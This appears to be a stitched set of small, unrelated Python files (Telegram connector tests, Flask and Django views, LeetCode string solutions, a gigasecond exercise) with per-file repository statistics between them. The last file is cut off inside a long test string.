True, "file_size": 42311, }, }, } event = await connector.handle_messages(message, "opsdroid", 0, 1) assert "Received unparsable event" in caplog.text assert event is None @pytest.mark.asyncio async def test_channel_post(opsdroid): connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974037, "channel_post": { "message_id": 4, "chat": {"id": -1001474709998, "title": "Opsdroid-test", "type": "channel"}, "date": 1603817533, "text": "dance", }, } message = opsdroid_events.Message("dance", 4, opsdroid) await connector.telegram_webhook_handler(mock_request) assert message.text == "dance" @pytest.mark.asyncio async def test_parse_user_no_permissions(opsdroid): mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974077, "message": { "message_id": 31, "from": {"id": 100000, "is_bot": False, "username": "FabioRosado"}, "chat": { "id": -10014170000, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603827368, "text": "hi", }, } connector_config["whitelisted-users"] = [1, "AllowedUser"] connector_config["reply-unauthorized"] = True connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) with amock.patch.object(connector, "send_message") as mocked_send_message: await connector.telegram_webhook_handler(mock_request) assert mocked_send_message.called @pytest.mark.asyncio async def test_parse_user_permissions(opsdroid): mock_request = amock.CoroutineMock() mock_request.json = amock.CoroutineMock() mock_request.json.return_value = { "update_id": 639974077, "message": { "message_id": 31, "from": {"id": 100000, "is_bot": False, "username": "FabioRosado"}, "chat": { "id": -10014170000, "title": "Opsdroid-test Chat", "type": "supergroup", }, "date": 1603827368, "text": "hi", }, } connector_config["whitelisted-users"] = ["FabioRosado", 100000] connector = ConnectorTelegram(connector_config, opsdroid=opsdroid) with amock.patch.object(connector.opsdroid, "parse") as mocked_parse: await connector.telegram_webhook_handler(mock_request) assert mocked_parse.called

29.634578

88

0.59172

2,968

30,168

5.80155

0.086253

0.035774

0.042163

0.076195

0.831639

0.826297

0.806086

0.772983

0.759336

0.735815

0

0.05832

0.291236

30,168

1,017

89

29.663717

0.746937

0

0.663717

0

0.002528

0.162424

0.015381

0

0.11378

1

0.013906

false

0

0.00885

0

0.022756

0

null

0

1

0

null

0

6

174ecfefbed674f3ba2ed3b722871cfa4037526c

160

py

Python

module2/views.py

LawAlias/gisflask

4fb2ae3bb4b7717b86a6fa816db2fc338ebd574e

[ "Apache-2.0" ]

17

2019-03-22T01:01:10.000Z

2022-03-03T09:56:51.000Z

module2/views.py

LawAlias/gisflask

4fb2ae3bb4b7717b86a6fa816db2fc338ebd574e

[ "Apache-2.0" ]

null

module2/views.py

LawAlias/gisflask

4fb2ae3bb4b7717b86a6fa816db2fc338ebd574e

[ "Apache-2.0" ]

12

2019-03-22T13:30:23.000Z

2020-05-15T05:36:17.000Z

from flask import flash,render_template from module2 import app @app.route('/module2',methods=['GET','POST']) def module2(): return ('module2 load success')

32

45

0.7375

22

160

5.318182

0.727273

0

0.028169

0.1125

160

5

46

32

0.795775

0

0.217391

0

1

0.2

true

0

0.4

0.2

0.8

0

1

0

null

0

1

0

null

0

1

0

1

0

6

bd7bbf50df66af4fbd8ad42a43be731685f819fb

10,254

py

Python

src/459. Repeated Substring Pattern.py

xiaonanln/myleetcode-python

95d282f21a257f937cd22ef20c3590a69919e307

[ "Apache-2.0" ]

null

src/459. Repeated Substring Pattern.py

xiaonanln/myleetcode-python

95d282f21a257f937cd22ef20c3590a69919e307

[ "Apache-2.0" ]

null

src/459. Repeated Substring Pattern.py

xiaonanln/myleetcode-python

95d282f21a257f937cd22ef20c3590a69919e307

[ "Apache-2.0" ]

null

class Solution(object): def repeatedSubstringPattern(self, s): """ :type s: str :rtype: bool """ if not s: return True return s in (s+s)[1:-1] print(Solution().repeatedSubstringPattern("abab")) print(Solution().repeatedSubstringPattern("czmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsveczmgyjgfdxvtnunneslsplwuiupfxlzbknhkwppanltcfirjcddsozoyvegurfwcsfmoxeqmrjowrghwlkobmeahkgccnaehhsvs"))

932.181818

10,046

0.992296

32

10,254

317.96875

0.625

0.002555

0.007273

0

0.000196

0.003511

10,254

11

10,046

932.181818

0.995596

0.002438

0

0.979248

0.978857

0

1

0

1

0.166667

false

0

0.5

0.333333

0

1

null

0

1

0

1

null

1

0

6

bd86b7c12e2fce81818955014537f191b53a30d8

43

py

Python

data_processing/visualization/preprocessing/__init__.py

FMsunyh/keras-retinanet

cb86a987237d3f6bd504004e2b186cf65606c890

[ "Apache-2.0" ]

25

2019-04-14T05:42:28.000Z

2022-01-04T18:57:26.000Z

core/preprocessing/__init__.py

FMsunyh/keras-yolo2

3439e2cffecbb47349fca8adb727c1c298d9c2d9

[ "Apache-2.0" ]

1

2020-04-30T10:52:24.000Z

core/preprocessing/__init__.py

FMsunyh/keras-yolo2

3439e2cffecbb47349fca8adb727c1c298d9c2d9

[ "Apache-2.0" ]

4

2019-07-23T10:00:46.000Z

2021-10-12T02:52:04.000Z

from .pascal_voc import PascalVocGenerator

21.5

42

0.883721

5

43

7.4

1

0

0.093023

43

1

43

0.948718

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

bd94f3e5a8530836d0dc0dfba8f136522b469305

681

py

Python

apps/webodoobim/views/views.py

youssriaboelseod/pyerp

9ef9873e2ff340010656f0c518bccf9d7a14dbaa

[ "MIT" ]

1

2022-03-19T14:43:02.000Z

apps/webodoobim/views/views.py

youssriaboelseod/pyerp

9ef9873e2ff340010656f0c518bccf9d7a14dbaa

[ "MIT" ]

null

apps/webodoobim/views/views.py

youssriaboelseod/pyerp

9ef9873e2ff340010656f0c518bccf9d7a14dbaa

[ "MIT" ]

1

2020-03-28T03:26:32.000Z

# Furture Library from __future__ import unicode_literals # Django Library from django.core.mail import EmailMessage from django.shortcuts import HttpResponse, render from django.template.loader import render_to_string from django.views.generic import DetailView, ListView BIM_PHONE = "+56 9 4299 4534" def index(request): return render(request, 'webodoobim/index.html') def about(request): return render(request, 'webodoobim/about.html') def services(request): return render(request, 'webodoobim/services.html') def contact(request): return render(request, 'webodoobim/contact_us.html') def blog(request): return render(request, 'webodoobim/blog.html')

26.192308

56

0.778267

88

681

5.920455

0.443182

0.12476

0.182342

0.24952

0.345489

0

0.018487

0.126285

681

25

57

27.24

0.857143

0.044053

0

0.195988

0.141975

0

1

0.3125

false

0

0.3125

0.9375

0

null

0

1

0

null

0

1

0

1

0

6

bdd4e81d34c6888ed11845e48d4858080617f549

83

py

Python

shared/consts.py

JFF-Bohdan/item_lookup

cf98c94d7b212a81ef499e8160f855fc3e9015ce

[ "MIT" ]

1

2021-02-17T21:07:19.000Z

shared/consts.py

JFF-Bohdan/item_lookup

cf98c94d7b212a81ef499e8160f855fc3e9015ce

[ "MIT" ]

null

shared/consts.py

JFF-Bohdan/item_lookup

cf98c94d7b212a81ef499e8160f855fc3e9015ce

[ "MIT" ]

null

DATABASE_FILE = "./db/passports.sqlite" LMDB_DATABASE_FILE = "./db/passports.lmdb"

27.666667

42

0.759036

11

83

5.454545

0.545455

0.4

0.466667

0.766667

0

0.072289

83

2

43

41.5

0.779221

0

0.481928

0.253012

0

1

0

false

1

0

1

0

null

1

0

1

0

null

0

1

0

6

bde0f64adfcc1ab4d37182c94ac58ac30f546861

28

py

Python

apps/import_excel/views/__init__.py

crisariasgg/RepinSolution

27e9b04ccc887b4300d77dda8657e761f9523123

[ "MIT" ]

null

apps/import_excel/views/__init__.py

crisariasgg/RepinSolution

27e9b04ccc887b4300d77dda8657e761f9523123

[ "MIT" ]

null

apps/import_excel/views/__init__.py

crisariasgg/RepinSolution

27e9b04ccc887b4300d77dda8657e761f9523123

[ "MIT" ]

1

2021-12-09T21:27:35.000Z

from .import_excel import *

14

27

0.785714

4

28

5.25

0.75

0

0.142857

28

1

28

0.875

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

da0cb8f822c20c57be99cc70746cc800b4abaaf2

146

py

Python

python/gigasecond/gigasecond.py

troberson/exercises-exercism

143c94c72e05661b4ec3b7e383d5afcd2a75710f

[ "Unlicense" ]

1

2018-10-13T00:18:41.000Z

python/gigasecond/gigasecond.py

troberson/exercises-exercism

143c94c72e05661b4ec3b7e383d5afcd2a75710f

[ "Unlicense" ]

null

python/gigasecond/gigasecond.py

troberson/exercises-exercism

143c94c72e05661b4ec3b7e383d5afcd2a75710f

[ "Unlicense" ]

null

from datetime import datetime, timedelta def add_gigasecond(birth_date: datetime) -> datetime: return birth_date + timedelta(seconds=10**9)

24.333333

53

0.773973

19

146

5.789474

0.684211

0.163636

0

0.02381

0.136986

146

5

54

29.2

0.849206

0

1

0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

da12b6a52d3fc9c730e1d1eeacaa6d94a6730ab0

199

py

Python

policy_evaluation/__init__.py

floringogianu/categorical-dqn

eb939785e0e2eea60bbd67abeaedf4a9990fb5ce

[ "MIT" ]

111

2017-07-27T13:19:21.000Z

2022-01-15T17:52:55.000Z

policy_evaluation/__init__.py

floringogianu/categorical-dqn

eb939785e0e2eea60bbd67abeaedf4a9990fb5ce

[ "MIT" ]

3

2017-12-05T07:18:23.000Z

2018-04-30T00:03:36.000Z

policy_evaluation/__init__.py

floringogianu/categorical-dqn

eb939785e0e2eea60bbd67abeaedf4a9990fb5ce

[ "MIT" ]

12

2017-07-31T13:46:25.000Z

2021-08-23T04:03:19.000Z

from policy_evaluation.categorical import CategoricalPolicyEvaluation from policy_evaluation.deterministic import DeterministicPolicy from policy_evaluation.exploration_schedules import get_schedule

49.75

69

0.924623

20

199

8.95

0.6

0.167598

0.335196

0

0.060302

199

3

70

66.333333

0.957219

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

da15e7cd1af861ec25b37633e0a43836343e5ba6

101

py

Python

boa3_test/test_sc/bytes_test/BytesToInt.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

25

2020-07-22T19:37:43.000Z

2022-03-08T03:23:55.000Z

boa3_test/test_sc/bytes_test/BytesToInt.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

419

2020-04-23T17:48:14.000Z

2022-03-31T13:17:45.000Z

boa3_test/test_sc/bytes_test/BytesToInt.py

hal0x2328/neo3-boa

6825a3533384cb01660773050719402a9703065b

[ "Apache-2.0" ]

15

2020-05-21T21:54:24.000Z

2021-11-18T06:17:24.000Z

from boa3.builtin import public @public def bytes_to_int() -> int: return b'\x01\x02'.to_int()

14.428571

31

0.693069

17

101

3.941176

0.764706

0.149254

0

0.059524

0.168317

101

6

32

16.833333

0.738095

0

0.079208

0

1

0.25

true

0

0.25

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

6

da22b4253efd734f65a73b9f2f6a49b49797427b

42

py

Python

nbib/__init__.py

holub008/nbib

1929d26b7256e747e0c679d2e94f6e0f2d160636

[ "MIT" ]

6

2020-06-08T13:24:17.000Z

2022-03-23T17:31:52.000Z

nbib/__init__.py

holub008/nbib

1929d26b7256e747e0c679d2e94f6e0f2d160636

[ "MIT" ]

5

2020-06-12T10:13:47.000Z

2022-03-23T17:31:28.000Z

nbib/__init__.py

holub008/nbib

1929d26b7256e747e0c679d2e94f6e0f2d160636

[ "MIT" ]

1

2021-12-15T15:24:51.000Z

from nbib._parsing import read, read_file

21

41

0.833333

7

42

4.714286

0.857143

0

0.119048

42

1

42

0.891892

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

e5a2cb401ee89de05ab9e1c611d868f2e0fd9d30

60,847

py

Python

easy/strstr.py

flsworld/leetcode

1450db885e132be83d2297323900abdbcecebdb8

[ "MIT" ]

null

easy/strstr.py

flsworld/leetcode

1450db885e132be83d2297323900abdbcecebdb8

[ "MIT" ]

null

easy/strstr.py

flsworld/leetcode

1450db885e132be83d2297323900abdbcecebdb8

[ "MIT" ]

null

def str_str_orig(haystack: str, needle: str) -> int: if not needle: return 0 if needle not in haystack: return -1 for i in range(len(haystack)): if haystack[i] != needle[0]: continue j = 1 while needle[j] == haystack[i + j]: if j == len(needle) - 1: return i j += 1 return -1 def str_str(haystack: str, needle: str) -> int: if not needle: return 0 length = len(needle) for i in range(len(haystack) - length + 1): if haystack[i:i + length] == needle: return i return -1 if __name__ == "__main__": # haystack, needle = "hello", "ll" # res = str_str(haystack, needle) # # assert res == 2 haystack = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa